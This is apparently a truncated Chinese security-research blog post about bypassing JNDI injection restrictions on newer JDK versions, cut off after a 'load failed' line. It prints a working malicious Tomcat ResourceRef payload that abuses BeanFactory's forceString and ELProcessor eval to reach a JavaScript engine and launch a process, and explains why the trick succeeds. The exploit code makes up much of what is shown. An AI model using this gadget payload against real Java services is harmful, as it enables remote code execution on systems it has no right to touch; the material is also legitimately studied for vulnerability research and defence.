JNDI JDK高版本绕过--HIKARI

2023年12月30日修改
起因是挖洞的时候遇到一处JNDI的sink,但是目标jdk为jre11,也就是没有TemplatesImpl,加上目标的cc版本高,导致花了很长时间去寻找gadget,结果却不理想,遂重新在JNDI角度出发。
阅读本文若有所疑惑,可先阅读蓝神文章:https://tttang.com/archive/1405/
为什么BeanFactory没用了?
tomcat较新的版本,我们最长使用的就是恶意Ref如下
代码块
ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder'(java.lang.String[])'.start()\")"));
而其能成功执行的关键原因是在BeanFactory的getObjectInstance方法中,会获取ref的forceString属性,并将其值作为方法放入到forced的map中,后续再从forced中取出method执行

加载失败,